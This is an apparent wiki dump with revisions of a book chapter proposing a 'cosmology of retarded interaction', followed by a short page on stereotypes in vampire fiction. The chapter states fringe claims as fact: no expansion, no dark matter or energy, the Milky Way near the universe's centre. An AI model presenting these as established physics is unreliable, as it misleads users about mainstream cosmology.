| Isotropy || Ad hoc assumption, cosmological principle || Only from the centre of a kinematic universe
|-
| Copernican principle || Ad hoc assumption || Milky Way in Local Group near the centre of a kinematic universe
|-
| Dark matter || Ad hoc assumption of non-baryonic particles || Effect of retarded gravitational potentials
|-
| Dark energy || Ad hoc assumption of a cosmological constant Λ || Effect of retarded gravitational potentials
|-
| Rotation curves of spiral galaxies || Ad hoc assumption of dark matter || Retarded gravitational potentials of accreted baryonic matter
|-
| High-redshift objects || Ad hoc assumption of expanding spacetime || Gravitational redshift due to baryonic matter in black shell 
|-
| Geometry || Dynamic differential geometry|| Static Euclidean geometry
|-
| Spacetime || Curved space || Minkowski space
|}

=== Summary ===
The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting orbits and light signals create the illusion of an expanding geometry dominated by dark matter and dark energy.

The cosmology of retarded interaction consistently adheres to the axioms. It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of General Relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry.

The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive system whose internal dynamics are governed by retarded potentials.

cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of space, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to General Relativity.</text>
      <sha1>i5u4edgfj084pn7rtysv80dav54used</sha1>
    </revision>
    <revision>
      <id>4670613</id>
      <parentid>4670611</parentid>
      <timestamp>2026-09-17T09:59:18Z</timestamp>
      <contributor>
        <username>Bautsch</username>
        <id>630029</id>
      </contributor>
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      <comment>/* Summary */ trajectories</comment>
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      <text bytes="10687" sha1="gol4rruy8tdw5h9kcrw8pwxj7vnzmfa" xml:space="preserve">&lt;noinclude&gt;
{{Chapter navigation|Gravitational redshift|Conclusion}}
&lt;/noinclude&gt;

== Cosmology of retarded interaction ==
Modern astrophysics is based on the General Theory of Relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the General Theory of Relativity explains geometrically.

To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of General Relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on Euclidean geometry in Minkowski space.

The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of space.

In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined.

=== The axioms of retarded interaction ===
Established physics is based on three pillars, which are used to build the cosmology of retarded interaction:

# '''Classical mechanics:''' The force &lt;math display=&quot;inline&quot;&gt;F = m \cdot a&lt;/math&gt; as the basis of the acceleration &lt;math display=&quot;inline&quot;&gt;a&lt;/math&gt; of a mass &lt;math display=&quot;inline&quot;&gt;m&lt;/math&gt; .
# '''Relativistic kinematics:''' time dilation and length contraction according to the Special Theory of Relativity, but without the curvature of spacetime.
# '''Retarded gravitation:''' The gravitational effect propagates at the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt;. The potential &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; at a point &lt;math display=&quot;inline&quot;&gt;\mathbf {r}&lt;/math&gt; at time &lt;math display=&quot;inline&quot;&gt;t&lt;/math&gt; depends on the state of the source at time &lt;math display=&quot;inline&quot;&gt;t - \Delta t&lt;/math&gt;, where &lt;math display=&quot;inline&quot;&gt;\Delta t = \frac {r} {c}&lt;/math&gt;.

=== The mathematical core ===
For the mathematical formulation, the gravitational potential can be substituted into the wave equation:

:&lt;math&gt;\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho&lt;/math&gt;

The solution to this wave equation is the retarded potential:

:&lt;math&gt;\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'&lt;/math&gt;

In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials.

=== Cosmological mechanisms ===
==== The apparent expansion ====
In general relativity, redshift is a stretching of spacetime. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space.

Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous kinematic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of spacetime, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift).

==== A replacement for dark matter ====
In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter which is even changing over time. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies.

The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as &lt;math display=&quot;inline&quot;&gt;1 / r^2&lt;/math&gt; because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics.

==== A replacement for dark energy ====
In the cosmology of retarded interaction, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an net outward acceleration of the test mass, since masses in front of the test mass cause stronger retarded forces than opposing masses that reach the test mass with attenuated retarded forces.

Consequently, all mass points moving in the universe drift apart at an accelerating rate because the net acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution (black shell) that continuously amplifies the effect of the retarded potentials.

The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static Euclidean space. If spacetime itself were expanding, this would call into question or modify the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt; as a constant parameter for the retardation &lt;math display=&quot;inline&quot;&gt;\Delta t = r/c&lt;/math&gt;. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion.

In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When moving masses are far enough apart that the time delay &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion.

The farther they drift, the larger &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; becomes, and the weaker the retarded forces from the opposite side from the universe become the expansion accelerates without the need for dark energy.

==== The universe as a black hole ====
In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity &lt;math display=&quot;inline&quot;&gt;v_e \geq c&lt;/math&gt; is reached.

If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external source which is located in the out regions of the universe. This region can be interpreted as a black shell.

Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass in the black shell.

=== Comparison with the standard model of cosmology ===
The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology.

{| class=&quot;wikitable&quot;
|+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI)
|-
! Concept !! Standard model of cosmology (GR / ΛCDM) !! Cosmology of retarded interaction (CRI)
|-
| Principle of equivalence || Ad hoc assumption, General Theory of Relativity || No, gravitation is a force
|-
| Homogenity || Ad hoc assumption, cosmological principle || No homogenity, higher mass and energy densities in outer regions of a kinematic universe
|-
| Isotropy || Ad hoc assumption, cosmological principle || Only from the centre of a kinematic universe
|-
| Copernican principle || Ad hoc assumption || Milky Way in Local Group near the centre of a kinematic universe
|-
| Dark matter || Ad hoc assumption of non-baryonic particles || Effect of retarded gravitational potentials
|-
| Dark energy || Ad hoc assumption of a cosmological constant Λ || Effect of retarded gravitational potentials
|-
| Rotation curves of spiral galaxies || Ad hoc assumption of dark matter || Retarded gravitational potentials of accreted baryonic matter
|-
| High-redshift objects || Ad hoc assumption of expanding spacetime || Gravitational redshift due to baryonic matter in black shell 
|-
| Geometry || Dynamic differential geometry|| Static Euclidean geometry
|-
| Spacetime || Curved space || Minkowski space
|}

=== Summary ===
The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting trajectories and light signals create the illusion of an expanding geometry that is explained by dark matter and dark energy in the standard model of cosmology.

The cosmology of retarded interaction consistently adheres to physical axioms (classical, relativistic, and retarded potentials). It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of General Relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry.

The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive system whose internal dynamics are governed by retarded potentials.

Cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of space, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to general relativity.</text>
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      <id>4670614</id>
      <parentid>4670613</parentid>
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        <username>Bautsch</username>
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      <minor />
      <comment>unified lower case</comment>
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      <text bytes="10688" sha1="26wbcvac9g3g3tvrbwcip8iv7qtf4ns" xml:space="preserve">&lt;noinclude&gt;
{{Chapter navigation|Gravitational redshift|Conclusion}}
&lt;/noinclude&gt;
T
== Cosmology of retarded interaction ==
Modern astrophysics is based on the general theory of relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the general theory of relativity explains geometrically.

To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of general relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on Euclidean geometry in Minkowski space.

The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of space.

In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined.

=== The axioms of retarded interaction ===
Established physics is based on three pillars, which are used to build the cosmology of retarded interaction:

# '''Classical mechanics:''' The force &lt;math display=&quot;inline&quot;&gt;F = m \cdot a&lt;/math&gt; as the basis of the acceleration &lt;math display=&quot;inline&quot;&gt;a&lt;/math&gt; of a mass &lt;math display=&quot;inline&quot;&gt;m&lt;/math&gt; .
# '''Relativistic kinematics:''' time dilation and length contraction according to the special theory of relativity, but without the curvature of spacetime.
# '''Retarded gravitation:''' The gravitational effect propagates at the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt;. The potential &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; at a point &lt;math display=&quot;inline&quot;&gt;\mathbf {r}&lt;/math&gt; at time &lt;math display=&quot;inline&quot;&gt;t&lt;/math&gt; depends on the state of the source at time &lt;math display=&quot;inline&quot;&gt;t - \Delta t&lt;/math&gt;, where &lt;math display=&quot;inline&quot;&gt;\Delta t = \frac {r} {c}&lt;/math&gt;.

=== The mathematical core ===
For the mathematical formulation, the gravitational potential can be substituted into the wave equation:

:&lt;math&gt;\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho&lt;/math&gt;

The solution to this wave equation is the retarded potential:

:&lt;math&gt;\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'&lt;/math&gt;

In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials.

=== Cosmological mechanisms ===
==== The apparent expansion ====
In general relativity, redshift is a stretching of spacetime. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space.

Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous kinematic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of spacetime, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift).

==== A replacement for dark matter ====
In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter which is even changing over time. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies.

The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as &lt;math display=&quot;inline&quot;&gt;1 / r^2&lt;/math&gt; because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics.

==== A replacement for dark energy ====
In the cosmology of retarded interaction, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an net outward acceleration of the test mass, since masses in front of the test mass cause stronger retarded forces than opposing masses that reach the test mass with attenuated retarded forces.

Consequently, all mass points moving in the universe drift apart at an accelerating rate because the net acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution (black shell) that continuously amplifies the effect of the retarded potentials.

The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static Euclidean space. If spacetime itself were expanding, this would call into question or modify the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt; as a constant parameter for the retardation &lt;math display=&quot;inline&quot;&gt;\Delta t = r/c&lt;/math&gt;. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion.

In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When moving masses are far enough apart that the time delay &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion.

The farther they drift, the larger &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; becomes, and the weaker the retarded forces from the opposite side from the universe become the expansion accelerates without the need for dark energy.

==== The universe as a black hole ====
In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity &lt;math display=&quot;inline&quot;&gt;v_e \geq c&lt;/math&gt; is reached.

If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external source which is located in the out regions of the universe. This region can be interpreted as a black shell.

Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass in the black shell.

=== Comparison with the standard model of cosmology ===
The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology.

{| class=&quot;wikitable&quot;
|+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI)
|-
! Concept !! Standard model of cosmology (GR / ΛCDM) !! Cosmology of retarded interaction (CRI)
|-
| Principle of equivalence || Ad hoc assumption, general theory of relativity || No, gravitation is a force
|-
| Homogenity || Ad hoc assumption, cosmological principle || No homogenity, higher mass and energy densities in outer regions of a kinematic universe
|-
| Isotropy || Ad hoc assumption, cosmological principle || Only from the centre of a kinematic universe
|-
| Copernican principle || Ad hoc assumption || Milky Way in Local Group near the centre of a kinematic universe
|-
| Dark matter || Ad hoc assumption of non-baryonic particles || Effect of retarded gravitational potentials
|-
| Dark energy || Ad hoc assumption of a cosmological constant Λ || Effect of retarded gravitational potentials
|-
| Rotation curves of spiral galaxies || Ad hoc assumption of dark matter || Retarded gravitational potentials of accreted baryonic matter
|-
| High-redshift objects || Ad hoc assumption of expanding spacetime || Gravitational redshift due to baryonic matter in black shell 
|-
| Geometry || Dynamic differential geometry|| Static Euclidean geometry
|-
| Spacetime || Curved space || Minkowski space
|}

=== Summary ===
The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting trajectories and light signals create the illusion of an expanding geometry that is explained by dark matter and dark energy in the standard model of cosmology.

The cosmology of retarded interaction consistently adheres to physical axioms (classical, relativistic, and retarded potentials). It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of general relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry.

The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive system whose internal dynamics are governed by retarded potentials.

Cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of space, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to general relativity.</text>
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    <title>Create Vampires/Ethics Of Creating Vampire Lore</title>
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      <comment>Created page with &quot;== The Ethics of Creating Vampire Lore == When writing about vampires in your fictional narratives, try to avoid using harmful stereotypes or cultural appropriations. &lt;br&gt; &lt;br&gt; Stereotypes are widely held, fixed, and oversimplified beliefs or mental images about a particular group of people. [1] &lt;br&gt; &lt;br&gt; According to Wikipedia: &lt;br&gt; It is an expectation that people might have about every person of a particular group. The type of expectation can vary; it can be, for exam...&quot;</comment>
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      <text bytes="2502" sha1="74dq9xhtdqy8hbqri1ysyhyudkx6zxm" xml:space="preserve">== The Ethics of Creating Vampire Lore ==
When writing about vampires in your fictional narratives, try to
avoid using harmful stereotypes or cultural appropriations. &lt;br&gt;
&lt;br&gt;
Stereotypes are widely held, fixed, and oversimplified beliefs or mental images about a particular group of people. [1] &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
It is an expectation that people might have about every person of a particular group. The type of expectation can vary; it can be, for example, an expectation about the group's personality, preferences, appearance or ability. [2] &lt;br&gt;

Stereotypes are often faulty and resistant to new information. [3] &lt;br&gt;
&lt;br&gt;
People who use stereotypes rely of their previous knowledge about a person, information they then project onto an entire group. This can lead to hasty generalizations when they meet new people in that said group. &lt;br&gt;
&lt;br&gt;
Negative stereotypes should be used with caution. They can lead to prejudice, discrimination and unfair judgment. &lt;br&gt;
&lt;br&gt;
If you think all vampires are white, blood-thirsty decomposing demons from hell, then perhaps you should read more books, and watch more films about vampires. &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
Cultural appropriation is an adoption of an element or elements of culture or identity by members of another culture or identity in a manner perceived as inappropriate or unacknowledged. Charges of cultural appropriation typically arise when members of a dominant culture borrow from minority cultures. Cultural appropriation can include the adoption of another culture's religious and cultural traditions, customs, dance steps, fashion, symbols, language, history and music. &lt;br&gt;
&lt;br&gt;
Problems occur when cultural borrowing is unacknowledged, or when borrowed information is used in an inappropriate manner. &lt;br&gt;
&lt;br&gt;
Memes occur when people imitate the behaviors of other people without truly understanding that behavior. For unconscious reasons, that behavior, or idea spreads. &lt;br&gt;
&lt;br&gt;
=== Reference: ===
1. Oxford Learner's Dictionaries stereotype September 16, 2026 In https://www.oxfordlearnersdictionaries.com/definition/american_english/stereotype_1 
&lt;br&gt;
2. &quot;Stereotype&quot; August 30, 2026. In Wikipedia https://en.wikipedia.org/wiki/Stereotype &lt;br&gt;
&lt;br&gt;
3.  Meyer, David G. (2008). Intuition: Its Powers and Perils. Yale University Press. pp. 114–115. ISBN 978-0-300-13027-0 &lt;br&gt;
&lt;br&gt;
4. &quot;Cultural appropriation&quot; September 8, 2026. In Wikipedia https://en.wikipedia.org/wiki/Cultural_appropriation</text>
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      <text bytes="2772" sha1="attuui64479fj0t3ha4d4pdr8qcclsr" xml:space="preserve">== The Ethics of Creating Vampire Lore ==
When writing about vampires in your fictional narratives, try to
avoid using harmful stereotypes or cultural appropriations. &lt;br&gt;
&lt;br&gt;
Stereotypes are widely held, fixed, and oversimplified beliefs or mental images about a particular group of people. [1] &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
It is an expectation that people might have about every person of a particular group. The type of expectation can vary; it can be, for example, an expectation about the group's personality, preferences, appearance or ability. [2] &lt;br&gt;

Stereotypes are often faulty and resistant to new information. [3] &lt;br&gt;
&lt;br&gt;
People who use stereotypes rely of their previous knowledge about a person, information they then project onto an entire group. This can lead to hasty generalizations when they meet new people in that said group. &lt;br&gt;
&lt;br&gt;
Negative stereotypes should be used with caution. They can lead to prejudice, discrimination and unfair judgment. &lt;br&gt;
&lt;br&gt;
If you think all vampires are white, blood-thirsty decomposing demons from hell, then perhaps you should read more books, and watch more films about vampires. &lt;br&gt;
&lt;br&gt;
In the case of the Vampire Disease, also known as porphyria, Medical Doctors wrote about patients who became depressed by reports in the media linking porphyria, their illness, with vampirism. In this case, negative stereotypes could lead to unfair judgement. &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
Cultural appropriation is an adoption of an element or elements of culture or identity by members of another culture or identity in a manner perceived as inappropriate or unacknowledged. Charges of cultural appropriation typically arise when members of a dominant culture borrow from minority cultures. Cultural appropriation can include the adoption of another culture's religious and cultural traditions, customs, dance steps, fashion, symbols, language, history and music. &lt;br&gt;
&lt;br&gt;
Problems occur when cultural borrowing is unacknowledged, or when borrowed information is used in an inappropriate manner. &lt;br&gt;
&lt;br&gt;
Memes occur when people imitate the behaviors of other people without truly understanding that behavior. For unconscious reasons, that behavior, or idea spreads. &lt;br&gt;
&lt;br&gt;
=== Reference: ===
1. Oxford Learner's Dictionaries stereotype September 16, 2026 In https://www.oxfordlearnersdictionaries.com/definition/american_english/stereotype_1 
&lt;br&gt;
2. &quot;Stereotype&quot; August 30, 2026. In Wikipedia https://en.wikipedia.org/wiki/Stereotype &lt;br&gt;
&lt;br&gt;
3.  Meyer, David G. (2008). Intuition: Its Powers and Perils. Yale University Press. pp. 114–115. ISBN 978-0-300-13027-0 &lt;br&gt;
&lt;br&gt;
4. &quot;Cultural appropriation&quot; September 8, 2026. In Wikipedia https://en.wikipedia.org/wiki/Cultural_appropriation</text>
      <sha1>attuui64479fj0t3ha4d4pdr8qcclsr</sha1>
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      <comment>/* The Ethics of Creating Vampire Lore */</comment>
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      <text bytes="2773" sha1="9c8t9fuo2wn58fj4vhpqyiu6ahrtlel" xml:space="preserve">== The Ethics of Creating Vampire Lore ==
When writing about vampires in your fictional narratives, try to
avoid using harmful stereotypes or cultural appropriations. &lt;br&gt;
&lt;br&gt;
Stereotypes are widely held, fixed, and oversimplified beliefs or mental images about a particular group of people. [1] &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
It is an expectation that people might have about every person of a particular group. The type of expectation can vary; it can be, for example, an expectation about the group's personality, preferences, appearance or ability. [2] &lt;br&gt;

Stereotypes are often faulty and resistant to new information. [3] &lt;br&gt;
&lt;br&gt;
People who use stereotypes rely of their previous knowledge about a person, information they then project onto an entire group. This can lead to hasty generalizations when they meet new people in that said group. &lt;br&gt;
&lt;br&gt;
Negative stereotypes should be used with caution. They can lead to prejudice, discrimination and unfair judgment. &lt;br&gt;
&lt;br&gt;
If you think all vampires are white, blood-thirsty decomposing demons from hell, then perhaps you should read more books, and watch more films about vampires. &lt;br&gt;
&lt;br&gt;
In the case of the Vampire Disease, also known as porphyria, Medical Doctors wrote about patients who became depressed by reports in the media linking porphyria, their illness, with vampirism. In this case, negative stereotypes could lead to unfair judgements. &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
Cultural appropriation is an adoption of an element or elements of culture or identity by members of another culture or identity in a manner perceived as inappropriate or unacknowledged. Charges of cultural appropriation typically arise when members of a dominant culture borrow from minority cultures. Cultural appropriation can include the adoption of another culture's religious and cultural traditions, customs, dance steps, fashion, symbols, language, history and music. &lt;br&gt;
&lt;br&gt;
Problems occur when cultural borrowing is unacknowledged, or when borrowed information is used in an inappropriate manner. &lt;br&gt;
&lt;br&gt;
Memes occur when people imitate the behaviors of other people without truly understanding that behavior. For unconscious reasons, that behavior, or idea spreads. &lt;br&gt;
&lt;br&gt;
=== Reference: ===
1. Oxford Learner's Dictionaries stereotype September 16, 2026 In https://www.oxfordlearnersdictionaries.com/definition/american_english/stereotype_1 
&lt;br&gt;
2. &quot;Stereotype&quot; August 30, 2026. In Wikipedia https://en.wikipedia.org/wiki/Stereotype &lt;br&gt;
&lt;br&gt;
3.  Meyer, David G. (2008). Intuition: Its Powers and Perils. Yale University Press. pp. 114–115. ISBN 978-0-300-13027-0 &lt;br&gt;
&lt;br&gt;
4. &quot;Cultural appropriation&quot; September 8, 2026. In Wikipedia https://en.wikipedia.org/wiki/Cultural_appropriation</text>
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      <contributor>
        <username>3MMPEYTON</username>
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      <text bytes="3047" sha1="83eg4kzqfe8k1lqb8adig2e9rzvw2t1" xml:space="preserve">== The Ethics of Creating Vampire Lore ==
When writing about vampires in your fictional narratives, try to
avoid using harmful stereotypes or cultural appropriations. &lt;br&gt;
&lt;br&gt;
Stereotypes are widely held, fixed, and oversimplified beliefs or mental images about a particular group of people. [1] &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
It is an expectation that people might have about every person of a particular group. The type of expectation can vary; it can be, for example, an expectation about the group's personality, preferences, appearance or ability. [2] &lt;br&gt;

Stereotypes are often faulty and resistant to new information. [3] &lt;br&gt;
&lt;br&gt;
People who use stereotypes rely of their previous knowledge about a person, information they then project onto an entire group. This can lead to hasty generalizations when they meet new people in that said group. &lt;br&gt;
&lt;br&gt;
Negative stereotypes should be used with caution. They can lead to prejudice, discrimination and unfair judgment. &lt;br&gt;
&lt;br&gt;
If you think all vampires are white, blood-thirsty decomposing demons from hell, then perhaps you should read more books, and watch more films about vampires. &lt;br&gt;
&lt;br&gt;
In the case of the Vampire Disease, also known as porphyria, Medical Doctors wrote about patients who became depressed by reports in the media linking porphyria, their illness, with vampirism. In this case, negative stereotypes could lead to unfair judgements. &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
Cultural appropriation is an adoption of an element or elements of culture or identity by members of another culture or identity in a manner perceived as inappropriate or unacknowledged. Charges of cultural appropriation typically arise when members of a dominant culture borrow from minority cultures. Cultural appropriation can include the adoption of another culture's religious and cultural traditions, customs, dance steps, fashion, symbols, language, history and music. &lt;br&gt;
&lt;br&gt;
Problems occur when cultural borrowing is unacknowledged, or when borrowed information is used in an inappropriate manner. &lt;br&gt;
&lt;br&gt;
Memes occur when people imitate the behaviors of other people without truly understanding that behavior. For unconscious reasons, that behavior, or idea spreads. &lt;br&gt;
&lt;br&gt;
The entire lore that surrounds the vampire seems like cultural appropriation from the Romanian people who did historically suffer, as a group, from grave robbery. The actual accounts of people who were mistaken for vampires, fed folkstories and modern legends. &lt;br&gt;
&lt;br&gt;
  
=== Reference: ===
1. Oxford Learner's Dictionaries stereotype September 16, 2026 In https://www.oxfordlearnersdictionaries.com/definition/american_english/stereotype_1 
&lt;br&gt;
2. &quot;Stereotype&quot; August 30, 2026. In Wikipedia https://en.wikipedia.org/wiki/Stereotype &lt;br&gt;
&lt;br&gt;
3.  Meyer, David G. (2008). Intuition: Its Powers and Perils. Yale University Press. pp. 114–115. ISBN 978-0-300-13027-0 &lt;br&gt;
&lt;br&gt;
4. &quot;Cultural appropriation&quot; September 8, 2026. In Wikipedia https://en.wikipedia.org/wiki/Cultural_appropriation</text>
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      <text bytes="3048" sha1="lvigqwmwcuvvb8p7rzidiq38g9jnyp8" xml:space="preserve">== The Ethics of Creating Vampire Lore ==
When writing about vampires in your fictional narratives, try to
avoid using harmful stereotypes or cultural appropriations. &lt;br&gt;
&lt;br&gt;
Stereotypes are widely held, fixed, and oversimplified beliefs or mental images about a particular group of people. [1] &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
It is an expectation that people might have about every person of a particular group. The type of expectation can vary; it can be, for example, an expectation about the group's personality, preferences, appearance or ability. [2] &lt;br&gt;

Stereotypes are often faulty and resistant to new information. [3] &lt;br&gt;
&lt;br&gt;
People who use stereotypes rely of their previous knowledge about a person, information they then project onto an entire group. This can lead to hasty generalizations when they meet new people in that said group. &lt;br&gt;
&lt;br&gt;
Negative stereotypes should be used with caution. They can lead to prejudice, discrimination and unfair judgment. &lt;br&gt;
&lt;br&gt;
If you think all vampires are white, blood-thirsty decomposing demons from hell, then perhaps you should read more books, and watch more films about vampires. &lt;br&gt;
&lt;br&gt;
In the case of the Vampire Disease, also known as porphyria, Medical Doctors wrote about patients who became depressed by reports in the media linking porphyria, their illness, with vampirism. In this case, negative stereotypes could lead to unfair judgements. &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
Cultural appropriation is an adoption of an element or elements of culture or identity by members of another culture or identity in a manner perceived as inappropriate or unacknowledged. Charges of cultural appropriation typically arise when members of a dominant culture borrow from minority cultures. Cultural appropriation can include the adoption of another culture's religious and cultural traditions, customs, dance steps, fashion, symbols, language, history and music. &lt;br&gt;
&lt;br&gt;
